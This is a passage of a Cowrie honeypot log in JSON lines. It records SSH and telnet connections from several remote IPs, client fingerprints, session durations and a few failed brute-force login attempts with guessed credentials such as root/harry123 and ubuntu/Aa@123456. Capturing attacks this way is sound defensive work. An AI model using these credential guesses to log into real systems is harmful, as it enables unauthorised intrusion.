{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ac45939213","protocol":"ssh","message":"New connection: 43.243.142.42:50410 (159.203.135.109:22) [session: 14ac45939213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.392249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.397691Z","src_ip":"43.243.142.42","session":"14ac45939213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.482125Z","src_ip":"216.155.93.75","session":"62cb8a5642d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.642585Z","src_ip":"43.243.142.42","session":"14ac45939213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.308247566223145,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.742460Z","src_ip":"68.183.198.12","session":"70c366b3637f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"harry123","message":"login attempt [root/harry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:15.101093Z","src_ip":"216.155.93.75","session":"62cb8a5642d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa@123456","message":"login attempt [ubuntu/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:15.645114Z","src_ip":"43.243.142.42","session":"14ac45939213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56204,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bcc19f4ff60","protocol":"telnet","message":"New connection: 174.138.46.234:56204 (159.203.135.109:23) [session: 8bcc19f4ff60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:16.135985Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:16.253442Z","src_ip":"216.155.93.75","session":"62cb8a5642d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:16.890702Z","src_ip":"43.243.142.42","session":"14ac45939213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56350,"dst_ip":"159.203.135.109","dst_port":23,"session":"5764e4f66797","protocol":"telnet","message":"New connection: 174.138.46.234:56350 (159.203.135.109:23) [session: 5764e4f66797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:17.723609Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c9c6e230989","protocol":"telnet","message":"New connection: 67.23.227.170:41558 (159.203.135.109:23) [session: 5c9c6e230989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:21.405755Z"}
{"eventid":"cowrie.session.closed","duration":5.650670289993286,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:21.786529Z","src_ip":"174.138.46.234","session":"8bcc19f4ff60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17026972770691,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:22.409050Z","src_ip":"64.227.101.30","session":"4d35b32e72cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.918785095214844,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:23.542874Z","src_ip":"64.227.101.30","session":"5c8005a008a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12110137939453,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:24.412257Z","src_ip":"64.227.101.30","session":"3b1618e7f880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.909748792648315,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:25.180624Z","src_ip":"64.227.101.30","session":"49db09d49fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43846,"dst_ip":"10.17.0.5","dst_port":23,"session":"058a0578af62","protocol":"telnet","message":"New connection: 64.227.101.30:43846 (10.17.0.5:23) [session: 058a0578af62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:27.036864Z"}
{"eventid":"cowrie.session.closed","duration":31.999866485595703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:28.903772Z","src_ip":"67.23.227.170","session":"316c85ba0730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47340,"dst_ip":"10.17.0.5","dst_port":23,"session":"72f8000d291b","protocol":"telnet","message":"New connection: 64.227.101.30:47340 (10.17.0.5:23) [session: 72f8000d291b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:31.273762Z"}
{"eventid":"cowrie.session.closed","duration":40.754292011260986,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:32.364440Z","src_ip":"64.227.101.30","session":"e1d2dcbe7eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.93759226799011,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:36.585906Z","src_ip":"64.227.101.30","session":"24f1f5c81b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45312,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e88c884513d","protocol":"telnet","message":"New connection: 64.227.101.30:45312 (10.17.0.5:23) [session: 9e88c884513d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:43.491853Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":13391,"dst_ip":"10.17.0.5","dst_port":22,"session":"d91d2fdeb416","protocol":"ssh","message":"New connection: 49.247.36.49:13391 (10.17.0.5:22) [session: d91d2fdeb416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:50.558427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:50.564698Z","src_ip":"49.247.36.49","session":"d91d2fdeb416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:50.770700Z","src_ip":"49.247.36.49","session":"d91d2fdeb416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerasdf1234","message":"login attempt [root/Qwerasdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:51.622509Z","src_ip":"49.247.36.49","session":"d91d2fdeb416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.87060499191284,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:51.716914Z","src_ip":"64.227.101.30","session":"b2b40c0e160b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074376821517944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:52.479999Z","src_ip":"67.23.227.170","session":"5c9c6e230989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:52.830852Z","src_ip":"49.247.36.49","session":"d91d2fdeb416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40458631515503,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:01.441328Z","src_ip":"64.227.101.30","session":"058a0578af62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"3becb10bd664","protocol":"telnet","message":"New connection: 64.227.101.30:59870 (10.17.0.5:23) [session: 3becb10bd664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:03.614402Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34914,"dst_ip":"10.17.0.5","dst_port":23,"session":"21413b593056","protocol":"telnet","message":"New connection: 64.227.101.30:34914 (10.17.0.5:23) [session: 21413b593056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:09.800098Z"}
{"eventid":"cowrie.session.closed","duration":53.11611294746399,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:10.839639Z","src_ip":"174.138.46.234","session":"5764e4f66797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":46072,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4f531158688","protocol":"ssh","message":"New connection: 43.243.142.42:46072 (159.203.135.109:22) [session: b4f531158688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:12.362772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:12.368384Z","src_ip":"43.243.142.42","session":"b4f531158688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:12.597849Z","src_ip":"43.243.142.42","session":"b4f531158688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123","message":"login attempt [ftpadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:13.546816Z","src_ip":"43.243.142.42","session":"b4f531158688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":47190,"dst_ip":"159.203.135.109","dst_port":23,"session":"663307a76fb3","protocol":"telnet","message":"New connection: 67.23.227.170:47190 (159.203.135.109:23) [session: 663307a76fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:14.624806Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:14.781074Z","src_ip":"43.243.142.42","session":"b4f531158688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":47388,"dst_ip":"159.203.135.109","dst_port":23,"session":"cca5ce0aacbf","protocol":"telnet","message":"New connection: 67.23.227.170:47388 (159.203.135.109:23) [session: cca5ce0aacbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:16.638022Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":39194,"dst_ip":"10.17.0.5","dst_port":22,"session":"8187e3cee887","protocol":"ssh","message":"New connection: 216.155.93.75:39194 (10.17.0.5:22) [session: 8187e3cee887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:19.491184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:19.496520Z","src_ip":"216.155.93.75","session":"8187e3cee887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:19.644802Z","src_ip":"216.155.93.75","session":"8187e3cee887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.59357190132141,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:19.867436Z","src_ip":"64.227.101.30","session":"72f8000d291b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:20.265373Z","src_ip":"216.155.93.75","session":"8187e3cee887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:21.414419Z","src_ip":"216.155.93.75","session":"8187e3cee887","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":48764,"dst_ip":"159.203.135.109","dst_port":23,"session":"79443ecce48f","protocol":"telnet","message":"New connection: 67.23.227.170:48764 (159.203.135.109:23) [session: 79443ecce48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:29.066104Z"}
{"eventid":"cowrie.session.closed","duration":45.86093711853027,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:29.352667Z","src_ip":"64.227.101.30","session":"9e88c884513d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.36364197731018,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:43.977922Z","src_ip":"64.227.101.30","session":"3becb10bd664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":50150,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8aa36f5d5e0","protocol":"telnet","message":"New connection: 67.23.227.170:50150 (159.203.135.109:23) [session: a8aa36f5d5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:44.182177Z"}
{"eventid":"cowrie.session.closed","duration":31.47982883453369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:46.104510Z","src_ip":"67.23.227.170","session":"663307a76fb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.190.103.234","src_port":50392,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e08a7cc6d9","protocol":"telnet","message":"New connection: 220.190.103.234:50392 (159.203.135.109:23) [session: a5e08a7cc6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:46.308434Z"}
{"eventid":"cowrie.session.closed","duration":31.537511110305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:48.175384Z","src_ip":"67.23.227.170","session":"cca5ce0aacbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":48765,"dst_ip":"10.17.0.5","dst_port":22,"session":"56aff56c75c6","protocol":"ssh","message":"New connection: 49.247.36.49:48765 (10.17.0.5:22) [session: 56aff56c75c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:59.653965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:59.659101Z","src_ip":"49.247.36.49","session":"56aff56c75c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-